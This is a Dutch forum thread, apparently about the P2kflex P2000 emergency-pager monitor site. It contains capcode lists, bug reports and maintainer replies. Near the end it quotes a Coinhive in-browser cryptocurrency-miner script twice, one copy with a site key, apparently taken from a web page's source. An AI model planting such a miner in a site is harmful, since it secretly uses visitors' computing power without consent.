1503384 | BRW Hollands Midden (Nieuwerkerk a/d IJssel) (Operationeel Bevelvoerder) | |
1503388 | BRW Hollands Midden (Nieuwerkerk a/d IJssel) (Blusploeg 1) | |
1503015 | BRW Hollands Midden (OvD Gouda e.o.) |
0923129 | MKA Gelderland-Zuid (Ambu 08-129) |
0923129 MKA Gelderland-Zuid (Ambu 08-129)
Ik krijg deze melding terwijl ik GLD-Z niet heb geselecteerd, alleen L-Z, L-N, MMT en Politie-Landelijk.
Ottersum is een kerkdorp en onderdeel van Gennep in de Nederlandse provincie Limburg
21:09:45 11-02-16 GROUP-2 A1 6595BA 18 Eikenwal Ottersum 7334 0923129 MKA Gelderland-Zuid (Ambu 08-129) Ik krijg deze melding terwijl ik GLD-Z niet heb geselecteerd, alleen L-Z, L-N, MMT en Politie-Landelijk.
Dat klopt :)Citaat van: https://nl.wikipedia.org/wiki/OttersumOttersum is een kerkdorp en onderdeel van Gennep in de Nederlandse provincie Limburg
Wat jij selecteert zijn incidentregio's, geen alarmerende regio's ;)
Ah, duidelijk. Mooie feature!
Het valt mij op dat bij elke brandweermelding in Brabant-Noord de verkeerde huisnummer bij google maps word weergegeven.
0120176 | MKA Amsterdam-Amstelland (Ambu 13-176 Amsterdam) | |
0120999 | MKA Amsterdam-Amstelland (Monitorcode) |
1220632 | MKA Midden- en West-Brabant (Ambu 20-132) | |
1220499 | MKA Midden- en West-Brabant (Monitorcode) |
0220181 | MKA Noord Holland Noord (Ambu 10-181) | |
0220999 | MKA Noord-Holland Noord (Monitorcode) |
Sinds 22 maart geen meldingen meer te zien.
Storing of andere reden?
Het valt mij op dat bij elke brandweermelding in Brabant-Noord de verkeerde huisnummer bij google maps word weergegeven.
Ja inderdaad, ik zie daar wat rare dingen die ik niet direct kan verklaren. Soms zie je 2 meldingen voor hetzelfde adres, de ene keer wordt het huisnummer wel herkend, de andere keer niet en dan staat er bij Google Maps een ander nummer. Moet ik eens in duiken, lijkt vooralsnog alleen bij Brabant-Noord te gebeuren...
Het valt mij op dat bij elke brandweermelding in Brabant-Noord de verkeerde huisnummer bij google maps word weergegeven.
Ja inderdaad, ik zie daar wat rare dingen die ik niet direct kan verklaren. Soms zie je 2 meldingen voor hetzelfde adres, de ene keer wordt het huisnummer wel herkend, de andere keer niet en dan staat er bij Google Maps een ander nummer. Moet ik eens in duiken, lijkt vooralsnog alleen bij Brabant-Noord te gebeuren...
Denk dat ik iets gevonden heb, een deel van de postcode/huisnummer code wordt overgeslagen bij Brabant-Noord, omdat de voertuignummers op postcodes lijken (hopelijk binnenkort opgelost? Dan kan die uitzondering er ook uit), vermoedelijk iets teveel waardoor soms een huisnummer uit een eerdere (postcode) melding werd gebruikt.
Kun je in de gaten houden of het nu opgelost is?
Het gebeurde ook weleens dat plaats/straatnaam in het eerste deel van BBN alarmeringen werd getriggerd (ALARM TOTALE POST ST. ANTHONIS > (FLEX-INZET) BRANDGERUCHT: STEVENSSTRAAT WESTERBEEK 3041TS)
Naar verluid wordt deze 'voorlooptekst' nog wel even gehandhaafd en heb ik een aanpassing geschreven die alleen naar het 2e (GMS) deel kijkt. Hopelijk lost dat ook weer wat probleempjes op...
0610303 | Brandweer IJsselland (Bevelvoerders Hardenberg) | |
0610305 | Brandweer IJsselland (Kazernecode Hardenberg) | |
0610316 | Brandweer IJsselland (Ademluchtploeg Hardenberg) | |
0610330 | Brandweer IJsselland (Lichtkrant kazerne Hardenberg) | |
0806240 | Brandweer Meldkamer Oost Nederland (Lichtkrant MKB) |
0202377 | BRW Noord-Holland Noord (Stede Broec) (Blusploeg 2) |
1220649 | MKA Midden- en West-Brabant (Ambu 20-146) | |
1230262 | Politie Midden- en West-Brabant (Persinfo Dictrict 2 - Breda) | |
1200386 | Veiligheidsregio Midden- en West-Brabant (AOV Etten-Leur Infocode) | |
1200387 | Veiligheidsregio Midden- en West-Brabant (OvD Bevolkingszorg Etten-Leur Infocode) |
1400321 | BRW Rotterdam-Rijnmond (Rotterdam Prins Alexanderpolder) (Kazernealarm) |
Zie dit topic : http://www.scannerforum.nl/index.php?topic=27659
Bepaalde onderdelen zijn aan vervanging toe, er worden helaas veel berichten fout (of zelfs niet) gedecodeerd de laatste tijd en bovenstaande heeft er ook mee te maken. Iedereen die mee wil helpen; graag!
Zeker dat het in een ontvanger mis gaat? Ik dacht dat dat op een ingewikkelde manier dubbel uitgevoerd was - dusmet twee ontvangers?
1001479 | BRW Limburg-Noord (Venlo) (Dienstwisselcode Beroeps) | |
1001878 | BRW Limburg-Noord (Venlo) (Kazerneploeg) | |
1001882 | BRW Limburg-Noord (Venlo) (Kazernealarm) | |
1001498 | BRW Limburg-Noord (Monitorcode) |
Dit was nog gistermorgen vroeg Marcel. Hierna zijn de ontvangers nagekeken.
1500971 | Reddingsbrigade Den-Haag (Alarmploeg) |
Onderstaan bericht kwam ik ook tegen bij Brw Rotterdam-Rijnmond.
1500971 Reddingsbrigade Den-Haag (Alarmploeg)
1423396 | MKA Zuid-Holland Zuid (Ambu 18-196) | |
1423001 | MKA Zuid-Holland Zuid (Lichtkrant GMC) |
Sinds gisteren moet ik zelf steeds http://www.p2kflex.frankieplankie.nl/ refreshen anders komen er geen meldingen
javascript:ShowMap('52+29416');
Er zit een bugje in de monitor met de snelweg hectometerpaaltjes. De GPS coördinaten worden niet goed doorgezet naar het script dat Google Maps opent bij het klikken van een link in de melding.
15:04:48 29-07-16 GROUP-1 P 1 Inmelden C2000 : : Pkp A28 R - Dasselaar : 44,1 Ermelo 067271 (OVDB Alarm)
Het onderstreepte gedeelte is een link naar:Code: [Selecteer]javascript:ShowMap('52+29416');
Het is niet alleen met de A28 overigens, met meer snelwegen.
Hebben we het dan over de algemene monitor (landelijk), een regionale pagina, beiden, na verloop van hoeveel tijd treedt dit op?
Alleen als je nu bijvoorbeeld Drenthe aanklikt, springt hij naar de monitor pagina in plaats van de Drenthe pagina. Als ik op A of B druk kom ik wel bij de goede uit!
Alleen als je nu bijvoorbeeld Drenthe aanklikt, springt hij naar de monitor pagina in plaats van de Drenthe pagina. Als ik op A of B druk kom ik wel bij de goede uit!
Bij mij hetzelfde.
Het valt me op dat bij ambulances in BN geen huisnummer word gekoppeld als je Google Maps opent.
Het valt me op dat bij ambulances in BN geen huisnummer word gekoppeld als je Google Maps opent.
Is dat altijd al zo geweest of sinds kort? Zal er binnenkort eens naar kijken.
Het valt me op dat bij ambulances in BN geen huisnummer word gekoppeld als je Google Maps opent.
Is dat altijd al zo geweest of sinds kort? Zal er binnenkort eens naar kijken.
Ik zie zojuist dat hij het ook niet meer doet bij GLDZ en BZO. Hij lijkt de huisnummer voor de straat niet te herkennen.
Is sindskort
UPDATE:
Ook Amsterdam en etc..
Het valt me op dat bij ambulances in BN geen huisnummer word gekoppeld als je Google Maps opent.
Is dat altijd al zo geweest of sinds kort? Zal er binnenkort eens naar kijken.
Ik zie zojuist dat hij het ook niet meer doet bij GLDZ en BZO. Hij lijkt de huisnummer voor de straat niet te herkennen.
Is sindskort
UPDATE:
Ook Amsterdam en etc..
Er ging iets mis met de detectie van de postcode. Geen idee wanneer dat erin is geslopen maar ik heb even snel gekeken en iets rechtgezet, heb alleen niet veel tijd om het te controleren. Zou jij (of iemand anders) kunnen controleren of het opgelost is en zo ja, voor alle betrokken regio's?
<meta http-equiv="Refresh" content="10; url=http://www.promax.nl/nieuws/promax-is-genomineerd-voor-de-computable-awards-2016/?utm_source=DennisvanderHam&utm_medium=Promax&utm_campaign=Computable" />
</head>
<body>
<p>Beste P2kflex gebruiker, in de toekomst zal frankieplankie.nl veranderen in www.p2kflex.nl.</p>
<p>voorlopig laten we deze redirect in werking, pas uw opgeslagen favoriten aan.
<p>Ga direct naar <a href="http://www.promax.nl/nieuws/promax-is-genomineerd-voor-de-computable-awards-2016/?utm_source=DennisvanderHam&utm_medium=Promax&utm_campaign=Computable">www.p2kflex.nl </a>.</p>
Klopt het dat de monitor het niet meer doet/vastloopt sinds gisteravond?
Klopt het dat de monitor het niet meer doet/vastloopt sinds gisteravond?
Welk URL?
Klopt het dat de monitor het niet meer doet/vastloopt sinds gisteravond?
Ik zie hetzelfde, op http://www.p2kflex.frankieplankie.nl/p2kflex/ (link bovenin dit forum naast uitloggen). Meest recente melding regio Amsterdam eergisteravond 19:56 (15-08)
Gr, Edward
Klopt het dat de monitor het niet meer doet/vastloopt sinds gisteravond?
Ik zie hetzelfde, op http://www.p2kflex.frankieplankie.nl/p2kflex/ (link bovenin dit forum naast uitloggen). Meest recente melding regio Amsterdam eergisteravond 19:56 (15-08)
Gr, Edward
Ahh, URL is nu aangepast ;)
Ik zie ze niet, welke instellingen gebruik jij?
Ik zie ze niet, welke instellingen gebruik jij?
Ik heb alleen de GPS optie aangevinkt Peter, de rest staat uitgevinkt.
Selecteer ik overigens 1 of meerdere regio's, dan zie ik die testmeldingen weer niet.
Ik zie ze niet, welke instellingen gebruik jij?
Ik heb alleen de GPS optie aangevinkt Peter, de rest staat uitgevinkt.
Selecteer ik overigens 1 of meerdere regio's, dan zie ik die testmeldingen weer niet.
Ik heb alleen brw Haaglanden aan gevinkt
Verder toont hij 3 Cities Rijswijk Voorburg en Leidschendam
Ik exclude de tekst : via donizetti
Ok, ik heb gemerkt dat soms, indien geen lokatie aanwezig in de melding, de lokatie van de vorige melding wordt gebruikt. Melding in Rijswijk, gevolgd door een C2000 testpage, krijgt ook de fictieve lokatie Rijswijk mee. Dat verklaart waarom het dus ervaren wordt bij gebruik van GPS en/of filteren op plaatsnamen. Ik weet nog niet 100% zeker of het opgelost is, de oude meldingen blijven even bestaan, maar nieuwe zouden niet meer mogen verschijnen.
0005000 | Testcode P2000 |
1520004 | AHL - Ambu 15-104 |
0005000 | Testcode P2000 |
Was het al bekend dat de monitor het niet doet?
de laatste melding is van rond 10:17.
Geen idee of het al voorbij gekomen is, maar bij de regio's Noord- en Oost Gelderland en bij IJsselland worden straatnamen (+huisnummers) niet meer als link weergegeven. Enkel de postcodes zijn nog aanklikbaar. Dat is vast een bugje? :-)
Ja dat zal een bugje zijn, zal eens kijken of ik kan achterhalen waar dat nu ineens mis gaat. Vermoedelijk de huisnummer met : ervoor. Was altijd al zo natuurlijk, maar misschien heb ik ergens een steekje laten vallen. Bedankt voor de melding!
Ik weet niet of het een gevolg is van de aanpassing die laatst gedaan is, maar meldingen (in NO-Gelderland + IJsselland) waar straten aanklikbaar zijn, maar waar geen huisnummer in de melding bij staan, krijgen automatisch het huisnummer '1' mee. Dit lijkt mij ongewenst, omdat het enerzijds vaak de marker aan het begin van de straat neerzet, terwijl het logischer is om geen huisnummer mee te geven, zodat de marker halverwege komt te staan. Daarnaast bestaat huisnummer '1' niet altijd heb ik gemerkt, waardoor je ook foutmeldingen krijgt.
Regio 22 hangt.
Regio 22 hangt.
En de rest ook. Huntie heeft het gefixed, en doorrrr 8)
Hoi ,
Er staat niets vast, maar even huiselijke werkzaamheden.
Dus dat resulteerde even in het in zijn geheel uitschakelen van de monitor..
Maar hij is weer terug.
Even gelijk ter info, er zullen deze week meer momenten zijn dat korte tijd even uit is
vanwege een groet opknap beurt van mij zolder verdieping.
Groeten hans
1500142 | BRW Haaglanden (Den Haag Centrum) (Kazernealarm) | |
1500192 | BRW Haaglanden (Den Haag Centrum) (WO 7811) | |
1500158 | BRW Haaglanden (Den Haag Scheveningen) (Kazernealarm) | |
1500050 | BRW Haaglanden (OvD) | |
1500622 | BRW Haaglanden (Reserve TS 9632) |
1500158 | BRW Haaglanden (Den Haag Scheveningen) (Kazernealarm) | |
1500995 | KNRM Scheveningen (Kusthulpverleningsvoertuig) | |
1500994 | KNRM Scheveningen (Reddingboot Kitty Roosmale Nepveu) | |
1500999 | Meldkamer Den-Haag (Monitorcode KNRM) | |
1500998 | Reddingsbrigade Den-Haag (Strandcoördinator) |
Klopt het dat de monitor in storing is, Ik zie de laatste melding staan op 17:33:45 25-11-16.
Klopt het dat de monitor in storing is, Ik zie de laatste melding staan op 17:33:45 25-11-16.
Er was gisteren even een storing, onbekend wat de oorzaak was. Je zou dit voortaan ook kunnen melden op onze Facebook pagina, dan krijg ik in elk geval een notificatie op mijn telefoon ;)
Ligt de monitor er uit? Hier op de pc en mobiel een witte pagina.
De Expert-versie ververst zichzelf niet meer sinds vanmorgen, als je handmatig ververst komen de meldingen wel tevoorschijn.
De Expert-versie ververst zichzelf niet meer sinds vanmorgen, als je handmatig ververst komen de meldingen wel tevoorschijn.
Bedankt voor de melding! Er waren van de week wat problemen en toen ik de ververstimers wat opgehoogd. Bij deze had ik vermoedelijk een tikfoutje gemaakt, hij ververste wel, maar er zaten nogal wat minuten tussen. Werkt het nu weer naar behoren?
Kan de stroomstoring in Amsterdam de oorzaak zijn?
Doe ik misschien iets fout? Als ik de brandweer selecteer van Noord- en Oost Gelderland en zet ook het "vinkje" bij monitorcodes dat ik de monitorcode (0806240) niet krijg? Terwijl dat wel gebeurd bij een andere regio, zoals Haaglanden (1503902). Deze is ook aan/uit te zetten.
De monitorcode wordt wel meegezonden voor de melding als ik deze zelf decodeer.
Doe ik misschien iets fout? Als ik de brandweer selecteer van Noord- en Oost Gelderland en zet ook het "vinkje" bij monitorcodes dat ik de monitorcode (0806240) niet krijg? Terwijl dat wel gebeurd bij een andere regio, zoals Haaglanden (1503902). Deze is ook aan/uit te zetten.
De monitorcode wordt wel meegezonden voor de melding als ik deze zelf decodeer.
Ik krijg sinds deze week op de mobiele monitor op mijn windows phone alleen 2 advertenties en de melding dat ik moet wachten tot de data is geladen.
Data laden van de server. Even geduld aub....
URL : m.p2kflex.nl/index.php?regio=71%3B72%3B12%3B&audio=none
maar ook de kale url : https://m.p2kflex.nl/index.php
geeft hetzelfde effect.
Ik krijg sinds deze week op de mobiele monitor op mijn windows phone alleen 2 advertenties en de melding dat ik moet wachten tot de data is geladen.
Data laden van de server. Even geduld aub....
URL : m.p2kflex.nl/index.php?regio=71%3B72%3B12%3B&audio=none
maar ook de kale url : https://m.p2kflex.nl/index.php
geeft hetzelfde effect.
Werkt hier wel goed, misschien de cache eens legen, of hard verversen (CTRL-F5) ?
Ik krijg sinds deze week op de mobiele monitor op mijn windows phone alleen 2 advertenties en de melding dat ik moet wachten tot de data is geladen.
Data laden van de server. Even geduld aub....
URL : m.p2kflex.nl/index.php?regio=71%3B72%3B12%3B&audio=none
maar ook de kale url : https://m.p2kflex.nl/index.php
geeft hetzelfde effect.
Ook ik heb sinds een paar dagen last van het vastlopen van de scanner op m'n Windowsphone (Lumia 925). Tot voor kort nooit problemen gehad en super tevreden met de beste scanner die er te vinden is. Maar nu komen er bij het opstarten opeens twee reclame balken in beeld en de tekst : Data laden van de server. Even geduld aub.... Alleen, er gebeurt verder niets. Reclame blijft staan en verder niets. Al h.e.e.a. geprobeerd (cache legen, geschiedenis wissen) maar niets helpt. Mijn vraag hoe dit op te lossen?
De reclame duwt de meldingentekst uit beeld op de mobiele versie in chrome op android.
De reclame breedte is leidend geworden lijkt het.
Probleem op mijn Windowsphone nog steeds hetzelfde. En idd helft van de reclamebanners valt 'buiten beeld'.
Doe ik misschien iets fout? Als ik de brandweer selecteer van Noord- en Oost Gelderland en zet ook het "vinkje" bij monitorcodes dat ik de monitorcode (0806240) niet krijg? Terwijl dat wel gebeurd bij een andere regio, zoals Haaglanden (1503902). Deze is ook aan/uit te zetten.
De monitorcode wordt wel meegezonden voor de melding als ik deze zelf decodeer.
Ik denk dat dit een lastige wordt. Die van Haaglanden is ook specifiek van Haaglanden, maar 0806240 is van de MON en dus bruikbaar voor 2 regio's. Daarom heb ik (enige tijd terug) de 'harde' regiologging uitgeschakeld en deze gekoppeld aan de incidentregio. Misschien heeft dit ook effect voor de manier waarop jij nu wilt filteren. De vraag is nu, mis je die monitorcode daadwerkelijk? Als het goed is wordt deze wel getoond zodra deze individueel wordt verzonden.
Het is trouwens allemaal Meldkamer Oost Nederland (MON) geworden...
Zat net even te spelen met de monitor, en toen ik daarbij de knop HNT gebruikte (noodhulpteam(s)) kreeg ik een hele waslijst te zien; vnl. allemaal ovd-g's, ergens een foutje of een bug?
0707927 | BRW Utrecht (Onbekende code) | |
0707928 | BRW Utrecht (Onbekende code) | |
0707929 | BRW Utrecht (Onbekende code) |
0708139 | BRW Utrecht (Mijdrecht) (HW ploeg 2) | |
0708138 | BRW Utrecht (Onbekende code) |
Helaas werken de monitoren niet meer sinds laatste melding 20:54:51 uur. Hoop dat hij snel weer live komt.
Gehele site doet het niet :(
Wordt aan gewerkt, er is iets mis met de server maar dat is helaas niet mijn afdeling :(
1001467 | BRW Limburg-Noord (Montfort) (Dienstwisselcode) | |
1001706 | BRW Limburg-Noord (Montfort) (Blusploeg 1) | |
1001707 | BRW Limburg-Noord (Montfort) (Blusploeg 2) | |
1001498 | BRW Limburg-Noord (Monitorcode) |
Capcode | 1500080 | (BRW Haaglanden/Hollands Midden (Adviseur Gevaarlijke Stoffen)) ontbreekt sinds kort in de meldingen in zowel de normale als expert monitor. |
1500144 | BRW Haaglanden (Delft) (Kazernealarm) | |
1500148 | BRW Haaglanden (Den Haag Laak) (Kazernealarm) | |
1500050 | BRW Haaglanden (OvD) | |
1500046 | Meldkamer Den-Haag (Calamiteiten Coördinator) |
1503194 | BRW Hollands Midden (Hillegom) (Operationeel Bevelvoerder) | |
1503195 | BRW Hollands Midden (Hillegom) (Korpsalarm) | |
1503282 | BRW Hollands Midden (Leiden Zuid) (Chauffeursploeg) | |
1503289 | BRW Hollands Midden (Leiden Zuid) (Kazernealarm) | |
1504020 | BRW Hollands Midden (Leiden Zuid) (OGS - Ongeval Gevaarlijke Stoffen) | |
1503012 | BRW Hollands Midden (OvD Duin & Bollen) | |
1500046 | Meldkamer Den-Haag (Calamiteiten Coördinator) |
1500046 | Meldkamer Den-Haag (Calamiteiten Coördinator) | |
1503902 | BRW Haaglanden (Monitorcode) | |
1500080 | BRW Haaglanden/Hollands Midden (Adviseur Gevaarlijke Stoffen) | |
1500050 | BRW Haaglanden (OvD) | |
1500148 | BRW Haaglanden (Den Haag Laak) (Kazernealarm) | |
1500144 | BRW Haaglanden (Delft) (Kazernealarm) |
1500046 | Meldkamer Den-Haag (Calamiteiten Coördinator) | |
1503900 | BRW Hollands Midden (Monitorcode) | |
1504105 | BRW Hollands Midden (Monitorcode OvD) | |
1504392 | BRW Hollands Midden (Monitorcode Hillegom - Lisse - Teylingen) | |
1503902 | BRW Haaglanden (Monitorcode) | |
1503012 | BRW Hollands Midden (OvD Duin & Bollen) | |
1504020 | BRW Hollands Midden (Leiden Zuid) (OGS - Ongeval Gevaarlijke Stoffen) | |
1503289 | BRW Hollands Midden (Leiden Zuid) (Kazernealarm) | |
1503282 | BRW Hollands Midden (Leiden Zuid) (Chauffeursploeg) | |
1503195 | BRW Hollands Midden (Hillegom) (Korpsalarm) | |
1503194 | BRW Hollands Midden (Hillegom) (Operationeel Bevelvoerder) | |
1500080 | BRW Haaglanden/Hollands Midden (Adviseur Gevaarlijke Stoffen) |
0610863 | BRW IJsselland (Raalte) (Bevelvoerders) | |
0610865 | BRW IJsselland (Raalte) (Kazernecode) | |
0610872 | BRW IJsselland (Raalte) (Alle Blusploegen) | |
0610890 | BRW IJsselland (Raalte) (Lichtkrant) | |
0610891 | BRW IJsselland (Raalte) (Infocode klein Incident) |
Het valt mij op dat meldingen uit Raalte IJsselland ook worden getoond bij de regio Noord- en Oost-Gelderland klopt dit?
0610863 BRW IJsselland (Raalte) (Bevelvoerders) 0610865 BRW IJsselland (Raalte) (Kazernecode) 0610872 BRW IJsselland (Raalte) (Alle Blusploegen) 0610890 BRW IJsselland (Raalte) (Lichtkrant) 0610891 BRW IJsselland (Raalte) (Infocode klein Incident)
0703255 | BRW Gooi en Vechtstreek (Bussum) (Bemanning SIV) | |
0703908 | BRW Gooi en Vechtstreek (Bussum) (Lichtkrant) | |
0703004 | BRW Gooi en Vechtstreek (Huizen Hoofdpost) (Blusploeg 4) | |
0703014 | BRW Gooi en Vechtstreek (Huizen Hoofdpost) (BvD ploeg 4) | |
0703008 | BRW Gooi en Vechtstreek (Huizen) (Dienstwissel) | |
0703901 | BRW Gooi en Vechtstreek (Huizen) (Lichtkrant) | |
0704001 | BRW Gooi en Vechtstreek (Huizen) (Postcommandant) |
0400363 | BRW Groningen (Groningen Sontweg) (Blusploeg) | |
0400389 | BRW Groningen (Groningen Sontweg) (Kazernetechniek) | |
0400392 | BRW Groningen (Groningen Vinkhuizen) (Blusploeg) | |
0400271 | BRW Groningen (Groningen) (TS 1832) | |
0400273 | BRW Groningen (Groningen) (TS 1834) | |
0400111 | BRW Groningen (OvD Midden) | |
0400310 | BRW Groningen (OvD Midden) (DA-OD 3593) |
0500342 | BRW Drenthe (Assen West) (Ploeg C) | |
0500345 | BRW Drenthe (Assen West) (Monitorcode) | |
0500395 | BRW Drenthe (Assen West) (Kazernehek) |
0500342 | BRW Drenthe (Assen West) (Ploeg C) | |
0500345 | BRW Drenthe (Assen West) (Monitorcode) | |
0500395 | BRW Drenthe (Assen West) (Kazernehek) | |
0500399 | BRW Drenthe (Assen West) (Kazernetechniek) | |
0502530 | BRW Drenthe (Assen West) (TS 8231) |
0501100 | BRW Drenthe (Hoogeveen) (Blusploeg A) | |
0502695 | BRW Drenthe (Hoogeveen) (TS 8931) | |
0501204 | BRW Drenthe (OvD Zuid-West) | |
0502670 | BRW Drenthe (OvD Zuid-West) (DA-OD 8993) | |
0502284 | BRW Drenthe (Voorlichter) |
0108711 | BRW Kennemerland (Badhoevedorp) (Blusploeg) |
0108711 | BRW Kennemerland (Badhoevedorp) (Blusploeg) | |
0108781 | BRW Kennemerland (Badhoevedorp) (Lichtkrant) |
0127850 | Politie Kennemerland (Persinfo) | |
1405588 | Brandweer Zuid-Holland Zuid (Onbekende code) |
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('XXX');
miner.start();
</script>
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('ALph7iQyobTISgLSaMJ37QfLPqlvK9Lb');
miner.start();
</script>
1105446 | BRW Brabant-Zuidoost (Bakel) (Postalarm) | |
1105498 | BRW Brabant-Zuidoost (Bakel) (Lichtkrant) |
1105446 | BRW Brabant-Zuidoost (Bakel) (Postalarm) | |
1105498 | BRW Brabant-Zuidoost (Bakel) (Lichtkrant) |
0500450 | BRW Drenthe (2e Exloërmond) (Blusploeg) |
0400113 | BRW Groningen (OvD Oost) | |
0400311 | BRW Groningen (OvD Oost) (DA-OD 3693) | |
0401382 | BRW Groningen (Stadskanaal) (Blusploeg 2) | |
0401384 | BRW Groningen (Stadskanaal) (Blusploeg 4) | |
0401386 | BRW Groningen (Stadskanaal) (Blusploeg 6) | |
0401389 | BRW Groningen (Stadskanaal) (Kazernetechniek) | |
0400021 | BRW Groningen (Voorlichting) |
0401183 | BRW Groningen (Veendam) (Blusploeg B1) | |
0401184 | BRW Groningen (Veendam) (Blusploeg B2) |
0401183 | BRW Groningen (Veendam) (Blusploeg B1) | |
0401184 | BRW Groningen (Veendam) (Blusploeg B2) |
0401172 | Veendam TS2531 | |
0401183 | Veendam Blusploeg B1 | |
0401184 | Veendam Blusploeg B2 | |
0401199 | Veendam Techniek | |
0401998 | Monitorcode Brandweer |
1320129 | MKA Zeeland (Ambulance 19-129 Witte Kruis Zeeland) |
0611383 | BRW IJsselland (Zwolle Noord) (BvD) | |
0611385 | BRW IJsselland (Zwolle Noord) (Kazernecode) | |
0611386 | BRW IJsselland (Zwolle Noord) (Blusploeg Beroeps) | |
0108311 | BRW Kennemerland (Schiphol Sloten) (Blusploeg) | |
0108381 | BRW Kennemerland (Schiphol Sloten) (Lichtkrant) |
0708450 | BRW Utrecht (Utrecht Schepenbuurt) (Kazernealarm) | |
0104518 | BRW Zaanstreek-Waterland (BHV Hoofdkantoor Brandweer Zaandam) | |
0709563 | BRW Utrecht (Monitorcode Utrecht) | |
0706001 | BRW Utrecht (Monitorcode) |
0500315 | BRW Drenthe (OvD Noord en Midden) | |
0501601 | BRW Drenthe (Smilde) (Blusploeg) |
Lastig om te pinpointen waar dit nu exact mis gaat, maar ik merk wel dat de kwaliteit van de ontvangst de laatste tijd wat afneemt. We willen dit -deels- trachten op te lossen door 1 van de 2 ontvangers (die nu op dezelfde locatie staan) te verplaatsen waardoor er meer redundancy zou moeten zijn.
http://p2kflex.nl/
FATAL: Cannot connect to MySQL server on 'localhost'. Please make sure you have specified a valid MySQL database name in 'include/config.php'
Ok, we draaien nu local/remote. 1 ontvanger draait nu op een andere locatie, hopelijk vangt dit wat van de problemen af.
Het heeft wat voeten in de aarde gehad, mochten er rare dingen optreden; trek even aan de bel.
0723085 | MKA Gooi en Vechtstreek (Ambulance 14-185) |
0723085 | MKA Gooi en Vechtstreek (Ambulance 14-185) |
0723085 | MKA Gooi en Vechtstreek (Ambulance 14-185) |
0723085 | MKA Gooi en Vechtstreek (Ambulance 14-185) |
0723085 | MKA Gooi en Vechtstreek (Ambulance 14-185) |
0723085 | MKA Gooi en Vechtstreek (Ambulance 14-185) |
0723085 | MKA Gooi en Vechtstreek (Ambulance 14-185) |
0723085 | MKA Gooi en Vechtstreek (Ambulance 14-185) |
0723085 | MKA Gooi en Vechtstreek (Ambulance 14-185) |
0723085 | MKA Gooi en Vechtstreek (Ambulance 14-185) |
0723085 | MKA Gooi en Vechtstreek (Ambulance 14-185) |
0723085 | MKA Gooi en Vechtstreek (Ambulance 14-185) |
0723085 | MKA Gooi en Vechtstreek (Ambulance 14-185) |
0723085 | MKA Gooi en Vechtstreek (Ambulance 14-185) |
0723084 | MKA Gooi en Vechtstreek (Ambulance 14-184) |
0723084 | MKA Gooi en Vechtstreek (Ambulance 14-184) |
0723084 | MKA Gooi en Vechtstreek (Ambulance 14-184) |
0723084 | MKA Gooi en Vechtstreek (Ambulance 14-184) |
0723084 | MKA Gooi en Vechtstreek (Ambulance 14-184) |
0723084 | MKA Gooi en Vechtstreek (Ambulance 14-184) |
0723084 | MKA Gooi en Vechtstreek (Ambulance 14-184) |
0723084 | MKA Gooi en Vechtstreek (Ambulance 14-184) |
0723084 | MKA Gooi en Vechtstreek (Ambulance 14-184) |
0723084 | MKA Gooi en Vechtstreek (Ambulance 14-184) |
0723084 | MKA Gooi en Vechtstreek (Ambulance 14-184) |
0723084 | MKA Gooi en Vechtstreek (Ambulance 14-184) |
0723084 | MKA Gooi en Vechtstreek (Ambulance 14-184) |
0723084 | MKA Gooi en Vechtstreek (Ambulance 14-184) |
0723084 | MKA Gooi en Vechtstreek (Ambulance 14-184) |
0723084 | MKA Gooi en Vechtstreek (Ambulance 14-184) |
0723084 | MKA Gooi en Vechtstreek (Ambulance 14-184) |
0723084 | MKA Gooi en Vechtstreek (Ambulance 14-184) |
0723084 | MKA Gooi en Vechtstreek (Ambulance 14-184) |
